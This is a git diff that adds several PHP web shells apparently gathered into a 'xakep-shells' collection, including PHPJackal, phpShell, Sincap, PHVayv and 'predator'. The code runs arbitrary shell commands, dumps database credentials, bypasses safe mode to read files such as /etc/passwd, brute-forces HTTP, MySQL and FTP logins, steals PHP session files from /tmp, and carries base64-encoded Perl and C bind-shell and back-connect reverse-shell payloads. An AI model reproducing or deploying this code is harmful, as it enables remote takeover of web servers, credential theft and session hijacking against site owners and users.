+###############################################################################
+# test php environment
+###############################################################################
+if($phpenv == 1) {
+ $strOutput .= "php short infos
+ posix infos ";
+ if(function_exists('posix_uname')) {
+ $posix_uname = posix_uname();
+ while (list($info, $value) = each ($posix_uname)) {
+ $strOutput .= " $info $value ";
+ }
+ } else {
+ $strOutput .= "posix_uname not available";
+ }
+ $strOutput .= "current script user " . get_current_user() . " ";
+ if(function_exists('posix_getuid')) $strOutput .= " getuid " . posix_getuid() . " ";
+ else $strOutput .= "posix_getuid not available";
+ if(function_exists('posix_geteuid')) $strOutput .= " geteuid " . posix_geteuid() . " ";
+ else $strOutput .= "posix_geteuid not available";
+ if(function_exists('posix_getgid')) $strOutput .= " getgid " . posix_getgid() . " ";
+ else $strOutput .= "posix_getgid not available";
+ $strOutput .= "
";
+}
+
+
+###############################################################################
+# dump variables
+###############################################################################
+if($dumpvars == 1) {
+ $strOutput .= "dump variables
+ " . dd("GLOBALS") . "
+
";
+}
+###############################################################################
+# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!
+###############################################################################
+if($debugscript == 1) { ?>
+ debug script
+
+ ddb("DebugArr"); ?>
+
+
+ }
+###############################################################################
+# copy file
+###############################################################################
+if($filecopy == 1) {
+ $strOutput .= "";
+}
+###############################################################################
+# edit file
+###############################################################################
+if($fileedit == 1) {
+ $strOutput .= "
+ ";
+}
+###############################################################################
+# execute cmd shell NEEDS MODIFINY FOR B64 STATUS!!
+###############################################################################
+if($cmdln == 1) {
+ $emeth = test_cmd_shell();
+ $strOutput .= "";
+}
+###############################################################################
+# sending mime mail
+###############################################################################
+if($mail == 1) {
+ $strOutput .= "";
+}
+
+###############################################################################
+# drop mini inc handling
+###############################################################################
+if($dropinc == 1) {
+ if($loc!="") $miniinc_loc = $loc;
+ $strOutput .= "";
+}
+###############################################################################
+# connect C back shell handling
+###############################################################################
+if($connectback == 1) {
+ $strOutput .= "";
+}
+
+###############################################################################
+# PHP shell handling
+###############################################################################
+if($phpshell == 1) {
+ $strOutput .= "";
+}
+
+
+###############################################################################
+# snooping
+###############################################################################
+if($snoop == 1) {
+ $strOutput .= "";
+}
+###############################################################################
+# show highlited source
+###############################################################################
+if(($showsource == 1) | ($vsource!=$ArrDefaults['vsource'])) {
+ $strOutput .= "";
+}
+###############################################################################
+# service check
+###############################################################################
+if($servicecheck == 1) {
+if($servhost!="") $host = $servhost;
+else $host = "localhost";
+
+ $strOutput .= "";
+}
+###############################################################################
+# show phpinfo
+###############################################################################
+if($phpinfo == 1){
+ phpinfo();
+}
+######################################################################
+# db stuff
+######################################################################
+if($mysqlaccess == 1) {
+ $strOutput .= "";
+}
+
+if($incdbhost!="" && $incdbuser!="") {
+ if($incdbvar!="") $dbh = $incdbhost;
+ else $dbH = $incdbhost;
+ $dbu = $incdbuser;
+ $dbp = $incdbpass;
+ if($incdbsql!="") $dbs = $incdbsql;
+ if($incdbname!="") $dbn = $incdbname;
+ if($incdbtable!="") $dbt = $incdbtable;
+ if($incdbfile!="") $dumpfile = $incdbfile;
+}
+
+if(isset($dbh)) {
+ $strOutput .= "mysql access ";
+ eval("\$Gdbhost = \"\$$dbh\";");
+ eval("\$Gdbuser = \"\$$dbu\";");
+ eval("\$Gdbpass = \"\$$dbp\";");
+ eval("\$Gdbname = \"\$$dbn\";");
+ $strOutput .= "";
+ if($dbn=="") {
+ $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass .
+ " " .
+ display_dbs($Gdbhost, $Gdbuser, $Gdbpass);
+ } else if(isset($dbs)) {
+ $Gdbsql = $dbs;
+ $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname." sql=".$Gdbsql .
+ " ";
+ if(isset($dumpfile)) {
+ $strOutput .= dump_query($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbsql, $dumpfile);
+ } else {
+ $strOutput .= display_query($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbsql);
+ }
+ } else if(isset($dbt)) {
+ $Gdbtabl = $dbt;
+ $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname." table=".$Gdbtabl;
+ if($dumpfile!="") $strOutput .= " dumpfile=" .$dumpfile;
+ $strOutput .= " ";
+ if(isset($dumpfile)) {
+ $strOutput .= dump_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl, $dumpfile);
+ } else {
+ $strOutput .= display_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl);
+ }
+ } else {
+ $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname .
+ " " .
+ display_tables($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname);
+ }
+ $strOutput .= "
";
+}
+
+if(isset($dbH)) {
+ $strOutput .= "mysql access ";
+ if($dbn=="") {
+ $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp.
+ " ".
+ display_dbs($dbH, $dbu, $dbp);
+ } else if(isset($dbs)) {
+ $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn." sql=".$dbs.
+ " ";
+ if(isset($dumpfile)) {
+ $strOutput .= dump_query($dbH, $dbu, $dbp, $dbn, $dbs, $dumpfile);
+ } else {
+ $strOutput .= display_query($dbH, $dbu, $dbp, $dbn, $dbs);
+ }
+ } else if(isset($dbt)) {
+ $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn." table=".$dbt;
+ if($dumpfile!="") $strOutput .= " dumpfile=" .$dumpfile;
+ $strOutput .= " ";
+ if(isset($dumpfile)) {
+ $strOutput .= dump_rows($dbH, $dbu, $dbp, $dbn, $dbt, $dumpfile);
+ } else {
+ $strOutput .= display_rows($dbH, $dbu, $dbp, $dbn, $dbt);
+ }
+ } else {
+ $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn .
+ " " .
+ display_tables($dbH, $dbu, $dbp, $dbn);
+ }
+ $strOutput .= "
";
+}
+
+if(isset($Odbh)) {
+ $strOutput .= "odbc access ";
+ eval("\$Gdbhost = \"\$$Odbh\";");
+ eval("\$Gdbuser = \"\$$dbu\";");
+ eval("\$Gdbpass = \"\$$dbp\";");
+ eval("\$Gdbname = \"\$$dbn\";");
+ $strOutput .= "";
+ if(isset($dbt)) {
+ $Gdbtabl = $dbt;
+ $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname." table=".$Gdbtabl .
+ " " .
+ display_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl);
+ } else {
+ $strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass .
+ " " .
+ Odisplay_tables($Gdbhost, $Gdbuser, $Gdbpass);
+ }
+ $strOutput .= "
";
+}
+
+if(isset($OdbH)) {
+ $strOutput .= "odbc access ";
+ if(isset($dbt)) {
+ $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn." table=".$dbt .
+ " " .
+ Odisplay_rows($OdbH, $dbu, $dbp, $dbn, $dbt);
+ } else {
+ $strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp .
+ " " .
+ Odisplay_tables($OdbH, $dbu, $dbp);
+ }
+ $strOutput .= "
";
+}
+
+
+$strOutput .= "
";
+$strOutputB64 = chunk_split(base64_encode($strOutput));
+echo "\n";
+echo ' ";
+}
+function whoiS(){
+global $t,$hcwd;
+if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){
+$server =$_REQUEST['server'];
+$domain=$_REQUEST['domain']."\r\n";
+$ser=fsockopen($server,43,$en,$es,5);
+fputs($ser,$domain);
+echo "";
+while(!feof($ser))echo fgets($ser);
+echo " ";
+fclose($ser);
+}
+else{
+echo "${t}Whois: Server: domain: $hcwd
";
+}
+}
+function hexvieW(){
+if (!empty($_REQUEST['filE'])){
+$f = $_REQUEST['filE'];
+echo "Offset Hex ASCII ";
+$file = fopen($f,"r");
+$i= -1;
+while (!feof($file)) {
+$ln='';
+$i++;
+echo "";echo str_repeat("0",(8-strlen($i * 16))).$i * 16;echo " ";
+echo "";
+for ($j=0;$j<=7;$j++){
+if (!feof($file)){
+$tmp = strtoupper(dechex(ord(fgetc($file))));
+if (strlen($tmp)==1) $tmp = "0".$tmp;
+echo $tmp." ";
+$ln.=$tmp;
+}
+}
+echo " ";
+for ($j=7;$j<=14;$j++){
+if (!feof($file)){
+$tmp = strtoupper(dechex(ord(fgetc($file))));
+if (strlen($tmp)==1) $tmp = "0".$tmp;
+echo $tmp." ";
+$ln.=$tmp;
+}
+}
+echo " ";
+$n=0;$asc="";$co=0;
+for ($k=0;$k<=16;$k++){
+$co=hexdec(substr($ln,$n,2));
+if (($co<=31)||(($co>=127)&&($co<=160)))$co=46;
+$asc.= chr($co);
+$n+=2;
+}
+echo htmlspecialchars($asc);
+echo " ";
+}
+}
+fclose($file);
+echo "
";
+}
+function safemodE(){
+global $windows,$t,$hcwd;
+if (!empty($_REQUEST['file'])){
+$i=1;
+echo "\nMethod $i:(ini_restore) \n";
+ini_restore("safe_mode");ini_restore("open_basedir");
+$tmp = file_get_contents($_REQUEST['file']);
+echo $tmp;
+$i++;
+echo "\n Method $i:(copy) \n";
+$tmp=tempnam("","cx");
+copy("compress.zlib://".$_REQUEST['file'], $tmp);
+$fh = fopen($tmp, "r");
+$data = fread($fh, filesize($tmp));
+fclose($fh);
+echo $data;
+$i++;
+if(function_exists("curl_init")){
+echo "\n Method $i:(curl_init)[A] \n";
+$fh = @curl_init("file://".$_REQUEST['file']."");
+$tmp = @curl_exec($fh);
+echo $tmp;
+$i++;
+echo "\n Method $i:(curl_init)[B] \n";
+$i++;
+if(strstr($_REQUEST['file'],DIRECTORY_SEPARATOR))
+$ch =curl_init("file:///".$_REQUEST['file']."\x00/../../../../../../../../../../../../".__FILE__);
+else $ch = curl_init("file://".$_REQUEST['file']."\x00".__FILE__);
+curl_exec($ch);
+var_dump(curl_exec($ch));
+}
+if($_REQUEST['file'] == "/etc/passwd"){
+echo "\n Method $i:(posix) \n";
+for($uid=0;$uid<99999;$uid++){
+$h=posix_getpwuid($uid);
+if (!empty($h))foreach($h as $v)echo "$v:";}}
+$i++;
+echo " ";
+}
+echo "${t}Anti Safe-Mode: File: $hcwd
";
+}
+function crackeR(){
+global $et;
+$cwd = getcwd();
+echo "[Hash] - [SMTP] - [POP3] - [IMAP] - [FTP] - [SNMP] - [MySQL] - [HTTP form] - [HTTP Auth(basic)] - [Dictionary maker] $et";
+}
+function dicmakeR(){
+global $errorbox,$windows,$footer,$t,$et,$hcwd;
+if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0;
+if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
+$min = $_REQUEST['min'];
+$max = $_REQUEST['max'];
+if($max<$min)die($errorbox ."Bad input!$et". $footer);
+$s =$w="";
+$out = $_REQUEST['output'];
+$r = ($_REQUEST['range']=='a' )?'a':'A';
+if ($_REQUEST['range']==0) $r=0;
+for($i=0;$i<$min;$i++) $s.=$r;
+$dic = fopen($out,'a');
+if(is_nan($r)){
+while(strlen($s)<=$max){
+$w = $s;
+if($combo)$w="$w:$w";
+fwrite($dic,$w."\n");
+$s++;}
+}
+else{
+while(strlen($w)<=$max){
+$w =(string)str_repeat("0",($min - strlen($s))).$s;
+if($combo)$w="$w:$w";
+fwrite($dic,$w."\n");
+$s++;}
+}
+fclose($dic);
+echo "Done ";
+}
+if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
+$input=fopen($_REQUEST['input'],'r');
+if (!$input){
+if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et ";
+else{
+$input=explode("\n",shelL("cat $input"));
+$output=fopen($_REQUEST['output'],'w');
+if ($output){
+foreach ($input as $in){
+$user = $in;
+$user = trim(fgets($in)," \n\r");
+if (!strstr($user,":"))continue;
+$user=substr($user,0,(strpos($user,':')));
+if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
+}
+fclose($input);fclose($output);
+echo "Done ";
+}
+}
+}
+else{
+$output=fopen($_REQUEST['output'],'w');
+if ($output){
+while (!feof($input)){
+$user = trim(fgets($input)," \n\r");
+if (!strstr($user,":"))continue;
+$user=substr($user,0,(strpos($user,':')));
+if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
+}
+fclose($input);fclose($output);
+echo "Done ";
+}
+else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et ";
+}
+}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
+$res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
+if($combo && $res){
+$file=file($_REQUEST['output']);
+$output=fopen($_REQUEST['output'],'w');
+foreach ($file as $v)fwrite($output,"$v:$v\n");
+fclose($output);
+}
+echo "Done ";
+}else{
+$temp=whereistmP();
+echo "${t}Wordlist generator: Range: a-z A-Z 0-9 Min lenght: 1 2 3 4 5 6 7 8 9 10 Max lenght: 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Output: Combo style output$hcwd
${t}Grab dictionary: Grab from: Output: Combo style output$hcwd
${t}Download dictionary: URL: Output: Combo style output$hcwd
";}
+}
+function calC(){
+global $t,$et,$hcwd;
+$fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode');
+if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
+echo "${t}Output:";
+if($_REQUEST['to']!='hex')echo $_REQUEST['to']($_REQUEST['input']);else for($i=0;$i$et ";
+}
+echo "${t}Convertor: Input: ";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo " Task: MD5 SHA1 crc32 IP to long Long to IP HEX URL encoding URL decoding Base64 encoding Base64 decoding $hcwd
";
+}
+function authcrackeR(){
+global $errorbox,$et,$t,$crack,$hcwd;
+if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$data='';
+$method=($_REQUEST['method'])?'POST':'GET';
+if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
+spliturL($_REQUEST['target'],$host,$page);
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+if($method='GET')$page.=$data;
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+echo "";
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$so=fsockopen($host,80,$en,$es,5);
+if(!$so){echo "$errorbox Can not connect to host$et";break;}
+else{
+$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
+if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data);
+$packet.="\r\n\r\n";
+$packet.=$data;
+fputs($so,$packet);
+$res=substr(fgets($so),9,2);
+fclose($so);
+if($res=='20')echo "U: $user P: $pass";
+flusheR();
+}
+}
+echo "Done! ";
+}else echo "${t}HTTP Auth cracker: POST GET Dictionary: Dictionary type: Simple (P) Combo (U:P)Username: Server: $hcwd
";
+}
+function sqlcrackeR(){
+global $errorbox,$t,$et,$crack;
+if (!function_exists("mysql_connect")){
+echo "$errorbox Server does n`t support MySQL$et";
+}
+else{
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$sql=@mysql_connect($target,$user,$pass);
+if($sql){echo "U: $user P: $pass (Connect ) ";mysql_close($sql);if(!$type)break;}
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}
+else{
+echo "${t}MySQL cracker:$crack";
+}
+}
+}
+function ftpcrackeR(){
+global $errorbox,$t,$et,$crack;
+if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et";
+else{
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;}
+if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass ";if(!$type)break;}
+ftp_close($ftp);
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}
+else echo "${t}FTP cracker:$crack";
+}}
+function openiT($name){
+$ext=strtolower(substr($name,strrpos($name,'.')+1));
+$src=array('php','php3','php4','phps','phtml','phtm','inc');
+if(in_array($ext,$src))highlight_file($name);
+else echo "".htmlspecialchars(file_get_contents($name))." ";
+}
+function logouT(){
+setcookie('passw','',time()-10000);
+header('Location: '.hlinK());
+}
+?>
+
+
+
+
+PHPJackal
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/phpshell17.php.txt b/xakep-shells/PHP/phpshell17.php.txt
new file mode 100644
index 0000000..d488436
--- /dev/null
+++ b/xakep-shells/PHP/phpshell17.php.txt
@@ -0,0 +1,177 @@
+
+
+This program is free software; you can redistribute it and/or
+modify it under the terms of the GNU General Public License
+as published by the Free Software Foundation; either version 2
+of the License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+You can get a copy of the GNU General Public License from this
+address: http://www.gnu.org/copyleft/gpl.html#SEC1
+You can also write to the Free Software Foundation, Inc., 59 Temple
+Place - Suite 330, Boston, MA 02111-1307, USA.
+
+*/
+?>
+
+
+
+[ADDITINAL TITTLE]-phpShell by:[YOURNAME]
+
+
+[YOUR HEADER[ [ADITTIONAL TEXT] -
+[ADDITIONAL TEXT] [ADDITIONAL MESSEGE OR TEXT]
+
+
+
+
+Current working directory:
+Root/´;
+
+if (!empty($work_dir_splitted[0])) {
+$path = ´´;
+for ($i = 0; $i < count($work_dir_splitted); $i++) {
+$path .= ´/´ . $work_dir_splitted[$i];
+printf(´%s /´,
+$PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
+}
+}
+
+?>
+Choose new working directory:
+
+Current Directory ";
+} elseif ($dir == ´..´) {
+/* We have found the parent dir. We must be carefull if the parent
+directory is the root directory (/). */
+if (strlen($work_dir) == 1) {
+/* work_dir is only 1 charecter - it can only be / There´s no
+parent directory then. */
+} elseif (strrpos($work_dir, ´/´) == 0) {
+/* The last / in work_dir were the first charecter.
+This means that we have a top-level directory
+eg. /bin or /home etc... */
+echo "Parent Directory ";
+} else {
+/* We do a little bit of string-manipulation to find the parent
+directory... Trust me - it works :-) */
+echo "Parent Directory ";
+}
+} else {
+if ($work_dir == ´/´) {
+echo "$dir ";
+} else {
+echo "$dir ";
+}
+}
+}
+}
+closedir($dir_handle);
+
+?>
+
+
+
+Command:
+
+
+Enable stderr
-trapping?
+
+
+ $tmpfile 2>&1; " .
+"cat $tmpfile; rm $tmpfile";
+} else if ($command == ´ls´) {
+/* ls looks much better with ´ -F´, IMHO. */
+$command .= ´ -F´;
+}
+system($command);
+}
+?>
+
+
+
+
+
+
+
+Copyright © 2004–2005,
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/phvayv.php.php.txt b/xakep-shells/PHP/phvayv.php.php.txt
new file mode 100644
index 0000000..96ff07a
--- /dev/null
+++ b/xakep-shells/PHP/phvayv.php.php.txt
@@ -0,0 +1,124 @@
+
+
+
+
+
+
+
+:: AventGrup ::.. - Sincap 1.0 | Session(Oturum) Böceði
+
+
+
+
+
+
+
+
+
+
+
+
+
+ AventGrup©
+ Avrasya Veri ve NetWork Teknolojileri Geliþtirme Grubu
+
+
+ Sincap 1.0
+
+
+
+
+
+ www.aventgrup.net
+
+
+ info@aventgrup.net
+
+
+
+
+ Linux Sessin ( Oturum ) Böceði
+
+
+
+
+
+
+ S.
+ No
+
+ Oturum
+ Adý
+
+ Oturum
+ Deðeri
+
+ Referans
+
+
+
+
+
+if ($sedat=@opendir("/tmp")){
+while (($ekinci=readdir ($sedat))){
+if (is_file("/tmp/$ekinci")){
+if($ekinci>"sess_"){
+$asortik=$ekinci;
+$baglan=fopen("/tmp/$ekinci",'r');
+while(! feof ( $baglan ) ){
+$okunan=fgets($baglan,1024);
+$toplam="$toplam$okunan";
+} fclose($baglan);
+};
+?>
+
+
+
+
+}}}
+closedir($sedat);
+?>
+
+
+$metin=$toplam;
+$i=explode(";",$metin);
+?>
+
+
+
+
+
+foreach($i as $yeni){
+$tampon=explode("|",$yeni);
+$deger1= "$tampon[0]";
+$ich=explode(":",$tampon[1]);
+$tampon3=count($ich);
+$tampon4=$tampon3-1;
+$deger2= "$ich[$tampon4]";
+$is++;
+$temizleme=array(
+'"'=>'',
+'v'=>'',
+'c'=>''
+);
+$degerT= strtr($deger2,$temizleme);
+?>
+
+
+
+
+
+
+
+ -
+
+
+};?>
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/phvayvv.php.php.txt b/xakep-shells/PHP/phvayvv.php.php.txt
new file mode 100644
index 0000000..c01e2c7
--- /dev/null
+++ b/xakep-shells/PHP/phvayvv.php.php.txt
@@ -0,0 +1,597 @@
+ if($sistembilgisi > "") {phpinfo();} else { ?>
+
+
+$fistik=PHVayv;?>
+
+
+"") {unlink("$dizin/$sildos");} ?>
+
+
+
+ ""){rmdir($silklas);}?>
+
+ "") {mkdir("$dizin/$duzenx2",777);}?>
+
+
+
+
+
+
+
+
+ "") {
+
+$baglan=fopen($duzkaydet,'w');
+fwrite($baglan,$duzenx);
+fclose($baglan);}
+?>
+
+
+
+
+"") {;?>
+
+
+
+
+
+ Çalýþýlan
+ Dizin
+
+
+
+
+
+
+
+
+
+
+ } else { ?>
+
+
+
+
+"") {;
+?>
+
+
+
+
+
+
+ Çalýþýlan
+ Dizin
+
+
+
+
+
+
+
+
+
+ } else { ?>
+
+
+
+
+
+"") {;
+?>
+
+
+
+
+
+
+
+
+
+ Çalýþýlan Dosya
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+} else {
+?>
+
+
+
+
+
+
+
+
+
+
+PHVayv 1.0
+
+
+
+
+
+
+
+
+
+
+
+ Çalýþýlan Klasör
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Tür
+
+ Dosya
+ Adý
+
+
+ Ýþlem
+
+
+
+
+if ($sedat=@opendir($dizin)){
+while (($ekinci=readdir ($sedat))){
+if (is_dir("$dizin/$ekinci")){
+?>
+
+ if ($ekinci=="." or $ekinci=="..") {
+} else {
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+}
+?>
+
+
+}}}
+closedir($sedat);
+?>
+
+
+if ($sedat=@opendir($dizin)){
+while (($ekinci=readdir ($sedat))){
+if (is_file("$dizin/$ekinci")){
+
+?>
+
+
+
+
+
+
+
+
+ ( XXX )
+
+
+
+
+
+
+
+
+
+
+}}}
+closedir($sedat);
+?>
+
+
+
+
+
+
+
+
+
+ } ?> } ?> } ?> } ?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/predator.php.php.txt b/xakep-shells/PHP/predator.php.php.txt
new file mode 100644
index 0000000..19e2ed7
--- /dev/null
+++ b/xakep-shells/PHP/predator.php.php.txt
@@ -0,0 +1,1367 @@
+alert('Your shell script was succefully deleted!')";
+}
+
+
+function md5_brute($hash,$log,$dict)
+{
+ignore_user_abort(1);
+set_time_limit(0);
+
+$fl = fopen($dict, "r");
+$fl = fopen($log, "w");
+$count = 0;
+if(!$dict){
+return "Fill 'dictionary_file' field!";
+}if(!$log){
+return "Fill 'log_file' field!";
+}elseif(!strlen($hash) == 0){
+return "Fill 'md5_hash' field!";
+}else{
+ while(!$feof($dict)){
+ $pass = fgets($dict);
+ $brute_hash = md5($pass);
+ if($brute_hash == $hash){
+ fputs($log, "$hash:$pass\n---");
+ fclose($dict);
+ fclose($log);
+ exit;
+ }else{
+ $count = $count + 1;
+ fputs($log, "$count passwords was bruted...");
+ }
+ }
+ fputs($log, "$count passwords are failed!");
+}
+fclose($dict);
+fclose($log);
+}
+
+function port_bind($port,$pass,$method)
+{
+$perl = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
+VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
+JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
+TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
+lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
+Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
+Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
+lIENPTk47DQpleGl0IDA7DQp9DQp9";
+$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8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nRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
+2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
+dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
+lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
+
+if($method=='Perl')
+ {
+ fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
+ fclose($i);
+ ex(which("perl")." /tmp/shlbck ".$port." &");
+ unlink("/tmp/shlbck");
+ return ex('ps -aux | grep shlbck');
+ }
+elseif($method=='C#')
+ {
+ fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
+ fclose($i);
+ ex("gcc shlbck.c -o shlbck");
+ unlink('shlbck.c');
+ ex("/tmp/shlbck ".$port." ".$pass." &");
+ unlink("/tmp/shlbck");
+ return ex('ps -aux | grep shlbck');
+ }else
+ {
+ return 'Choose method';
+ }
+
+}
+
+function backconnect($ip,$port,$method)
+{
+$perl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
+aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
+hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
+sN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ogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
+Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+
